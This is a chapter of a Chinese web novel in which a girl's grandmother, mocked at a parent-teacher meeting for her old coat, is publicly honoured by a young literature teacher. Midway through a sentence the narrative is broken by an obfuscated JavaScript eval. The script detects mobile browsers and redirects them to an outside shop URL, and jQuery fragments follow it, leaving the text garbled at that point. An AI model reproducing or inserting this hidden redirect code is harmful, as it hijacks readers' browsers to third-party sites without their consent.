十一月底，碧城降温，风刮在脸上，生疼。
周五下午，初二（3）班开期中家长会。
苏敏在深圳电子厂加班，回不来。电话打到楼下小卖部的座机，让苏念自己跟老师请假。姜翠花站旁边，一把抢过话筒，冲那头喊了句“我去”，就挂了。
回到出租屋，姜翠花把吃饭用的折叠桌擦了两遍，又转身去翻立柜最底下的樟木箱子。
苏念坐在床沿，捏着手里的数学卷子。卷面上写着62分，及格了。她没辜负林知意的承诺，也没白吃陈小满那半个橘子。但她不想让外婆去学校。
学校里，人都是被比来比去的。先比成绩，再比家境，连爹妈的职业都逃不过。苏念自己缩在教室最后一排，已经习惯了那些目光，可姜翠花去了，就要被摆在台面上任人打量。
“外婆，老刘说这次家长会可以不来。”苏念撒了谎。
姜翠花没理她，从箱底扯出一件蓝呢子大衣。衣服放久了，有股刺鼻的樟脑丸味。十年前的款式，领口磨得发白，好在没破洞。
“家长会哪有不去的，人家都有大人去，你一个人坐那，老师还以为家里没人管。”姜翠花把大衣挂在椅背上，用手掌一下下抹平褶子，“你考了语文第一，数学也及格了，我得去听老师表扬你，不能给你丢人。”
苏念看着那件蓝大衣。袖口短了一截，扣子掉过，换了两颗颜色对不上的黑塑料扣。她张了张嘴，没再劝。外婆要面子，更是要给她撑面子。
下午两点半，七中教学楼前停满了自行车和摩托车，还有几辆黑色小轿车。
苏念站在初二（3）班后门外的走廊上。按规定，学生不能进教室，只能在外面等。走廊上站了一排人，靠着墙交头接耳。
家长们陆续走进班里。
周雨晴的妈妈穿着米色风衣，踩着细高跟鞋，挎着个老花图案的皮包。她走到第一排正中间的位子坐下，周围几个家长立刻凑过去搭话。
陈小满的妈妈穿着超市理货员的红马甲，急匆匆跑进来，拉开最后一排的椅子坐下。她从兜里掏出一把葵花籽，分给旁边的家长，嘴里念叨着：“刚炒的，热乎。”
姜翠花是最后几个进来的。
她穿着那件蓝呢子大衣，头发用水梳得溜光，耳边别了个黑发卡。她走到教室前门，脚步顿了一下。
教室里开着白炽灯，家长们三三两两聚着说话。有人聊周末的奥数班，有人聊中考加分政策。
姜翠花搓了搓手，低着头贴着墙边往里走。路过第一排时，周雨晴的妈妈正把一个真皮笔记本放在桌上，转头瞥了姜翠花一眼，视线很快移开，继续跟旁边的家长聊哪家英语辅导班外教口音正。
姜翠花走到最后一排靠窗的位子，那是苏念的座位。
苏念站在窗外，看着她。
姜翠花坐下后，把手放在膝盖上。旁边是陈小满的妈妈，递过来一把瓜子。姜翠花摆摆手没接，她怕磕瓜子弄脏教室的地，也怕弄脏了身上的大衣。
她坐在那里，背挺得笔直。那件蓝大衣在周围的羽绒服和羊绒衫里，格外扎眼。
走廊上，张逸飞和几个男生趴在后门的门框上往里探头。
“哎，那是谁家老太太啊？”一个男生压低声音，下巴朝最后一排扬了扬，“穿得跟唱大戏的似的，那衣服我奶奶都不穿了。”
“你看她那头发，抹了多少水，都反光。”另一个男生接话，捂着嘴乐。
张逸飞顺着他们的目光看过去，看到了坐在苏念位子上的姜翠花。他转头看了眼两米外靠着窗台的苏念。
苏念没动，但那些话一字一句全听见了。
她手插在校服口袋里，指甲用力抠着那张62分的数学卷子，把纸边都抠破了，指甲掐进掌心。
一股冲动让她想冲进教室，拉起姜翠花就走。什么表扬，什么面子，她都不要了，只想回那个只有她们俩的出租屋，吃一盘没肉/丝的土豆丝。可她动不了。她要是现在进去，外婆出门前照了半天镜子才撑起来的体面，就让她亲手撕碎了。
张逸飞抬脚在那个捂嘴乐的男生小腿上踹了一下。
“闭嘴吧你，口水喷我脸上了。”他骂了一句，转身靠在墙上，不看了。
教室里，周雨晴拿着一叠成绩单，正在帮班主任刘国强分发。
走到最后一排，她把成绩单放在姜翠花面前的桌上。
“阿姨，这是苏念的成绩单。”周雨晴声音不大不小。
姜翠花赶紧站起来，双手在蓝大衣的下摆上蹭了蹭，才去接那张纸。“谢谢你啊，小姑娘。你就是班长吧？常听我们家念念说起你。”
周雨晴点了一下头，没接话，转身走了。
她回到第一排，在妈妈身边站定，心里盘算着。苏念这次数学及格了，虽然才62分，但比以前的二三十分强太多。语文还是第一。她看着姜翠花那身寒酸的大衣，想不通苏念这种连辅导班都上不起的家庭，怎么能写出让张老师都夸赞的作文。
周雨晴盯着成绩单上苏念的名字，下半学期必须把她彻底压下去，不能让这个角落里的人爬到自己头上。
两点四十五分，刘国强夹着点名册走进教室。他拍了拍讲台，示意家长们安静。
走廊上的学生也安静下来。
苏念靠在窗台上，玻璃很凉。她看着姜翠花从口袋里掏出一个黑塑料盒，戴上新买的黑框老花镜，凑近了看成绩单。外婆看不懂分数代表的排名，只知道找及格没及格。看到数学那一栏的62分，姜翠花松了口气。
刘国强清了清嗓子，先说班级平均分，再说纪律，最后点名表扬了前五名。周雨晴的名字被提了三次。周雨晴的妈妈坐在下面，腰板挺得更直了，享受着周围家长投来的羡慕目光。
姜翠花一直挺着背听着，等着刘国强提苏念的名字。但刘国强没提。他重点表扬了几个进步大的男生，对苏念的语文第一只字未提，只说有些同学偏科严重，不要以为一门考得好就能上高中，木桶效应，短板决定水量。
姜翠花的背慢慢塌了下去。她摘下老花镜，放在桌上。
苏念眼眶发酸，她转过身，背对窗户，看着走廊对面光秃秃的法桐树。
就在这时，楼梯口传来脚步声。
林知意抱着一摞作文本走过来。她今天穿了件米白色针织衫，一条长裙，头发扎成低马尾。
她走到初二（3）班后门，看到了靠在墙边的苏念。
苏念低着头，脚尖无意识地蹭着地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849290|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面。
林知意停下脚步，目光先落在苏念身上，随即穿过后门的玻璃，望向教室最后一排。她看到了那个穿着蓝大衣，低头看着桌面的老人。
林知意推开后门，走了进去。
刘国强正在讲下半学期的学习计划，看到林知意进来，话头停住了。
“林老师，有事？”刘国强问，眉头皱了起来，他不喜欢开家长会时被人打断。
林知意没看刘国强，抱着作文本，径直走向教室最后一排。
所有家长的视线都跟了过去，看着这个年轻的实习老师。周雨晴的妈妈也转过头，打量着林知意身上的衣服牌子。
林知意走到姜翠花桌前。
姜翠花赶紧站起来，手足无措，以为是苏念在学校闯了祸。
林知意没有站上讲台，也没有压低声音，她直接走到姜翠花身边，弯下腰。
“您就是苏念的外婆吧？”林知意的声音不大，但吐字清晰，教室里每个人都听见了。
姜翠花愣了一下，连连点头：“是，我是她外婆。”
林知意伸出手，握住了姜翠花那双粗糙、布满老茧的手。
“阿姨，我叫林知意，是苏念的语文老师。”林知意看着姜翠花的眼睛，一字一句地说，“我今天特意过来，就是想当面感谢您。苏念是咱们班语文最好的孩子，这次期中考了112分，全班第一。她写文章很有灵气，那篇《外婆的手》打动了所有评委，已经送去参加全国比赛了。您把她教育得真好。”
教室里安静下来。
前排几个刚才还在聊天的家长转过头，重新打量起这个穿着旧蓝大衣的老太太，目光里没了先前的忽视。
周雨晴的妈妈皱了皱眉，转头看了一眼身边的女儿。周雨晴咬着下.唇，手里的红笔在草稿纸上戳出一个洞。
姜翠花的手被林知意握着，她张了张嘴，眼圈红了。
“她……她不听话的时候，也烦人。”姜翠花结巴着说，塌下去的背又一点点挺直了。
“她很懂事。”林知意松开手，把最上面的一本作文本放在姜翠花桌上，“这是苏念的作文本，您带回去看看。她是个有大出息的孩子。”
走廊外，张逸飞和那几个男生早就不说话了。
苏念站在窗边，看着林知意站在外婆身边，看着外婆重新挺直的背脊。
风吹过走廊，苏念把手从口袋里拿出来。那张被抠破边的数学卷子，被她一点点展平。她看着林知意的背影，心里那个念头彻底定了下来。
她不能让林知意走，她要留住这个人。
林知意转过身，准备往外走。路过第一排时，刘国强咳嗽了一声。
“林老师，占用家长会时间单独说个别学生，不太合适吧。”刘国强板着脸，语气很冷。
林知意停下脚步，看着刘国强，没眨眼。
“刘老师，表扬全班第一名，怎么就不合适了？”林知意语气平缓，声音却盖过了所有杂音，“对了，教务处李主任刚让我顺便通知您一声。”
林知意顿了一下，目光在全班家长脸上一一扫过，最后落在门外的苏念身上。
“下周一的升旗仪式，苏念同学要代表全校，上台朗读她的参赛作文。”